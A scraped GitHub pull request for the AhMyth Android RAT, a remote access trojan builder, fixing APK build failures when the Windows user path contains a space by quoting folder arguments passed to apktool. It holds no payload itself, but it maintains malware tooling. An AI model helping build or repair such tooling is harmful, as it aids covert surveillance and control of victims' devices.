This repository has been archived by the owner on Sep 3, 2021. It is now read-only.
Fixed "Building failed" #137
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
If your current logged user on name has space in it, the program will never work. Because https://github.com/AhMyth/AhMyth-Android-RAT/blob/master/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js#L129 execute the command without quotes on folder argument and it will return an error. Example. My pc ("Lara Vel") has space on its name, so this is the folder for AhMyth basepath : C:\Users\Lara Vel\AppData\Local\Programs\AhMyth Since my user is "Lara Vel", AhMyth would exec build command like this `java -jar apktool.jar b C:\Users\**Lara Vel**\AppData\Local\Programs\AhMyth\resources\app.asar.unpacked\app\Factory\Ahmyth -o C:\Users\**Lara Vel**\AppData\Local\Programs\AhMyth\resources\app.asar.unpacked\app\Factory\ahmyth.apk` SOLUTION: For next update, @AhMyth Simply by giving double quotes between apkFolder and its output folder. This solutions must be implemented in every exec function with directory argument. exec('java -jar ' + CONSTANTS.apktoolJar + ' b "' + apkFolder + '" -o "' + path.join(outputPath, CONSTANTS.apkName + '"') Co-Authored-By: ahmyth <[email protected]>
Sign up for free
to subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
I found the solution for common issue, "building failed".
This happened because there's a whitespace in command while ahmyth building an apk, signing, and decompiling.
Current problem with exec is:
java -jar apktool.jar b C:\Users\Lara Vel\AppData\Local\Programs\AhMyth\resources\app.asar.unpacked\app\Factory\Ahmyth -o C:\Users\Lara Vel\AppData\Local\Programs\AhMyth\resources\app.asar.unpacked\app\Factory\ahmyth.apkSolution:
by giving double quotes for each folder arguments.
java -jar apktool.jar b "C:\Users\Lara Vel\AppData\Local\Programs\AhMyth\resources\app.asar.unpacked\app\Factory\Ahmyth" -o "C:\Users\Lara Vel\AppData\Local\Programs\AhMyth\resources\app.asar.unpacked\app\Factory\ahmyth.apk"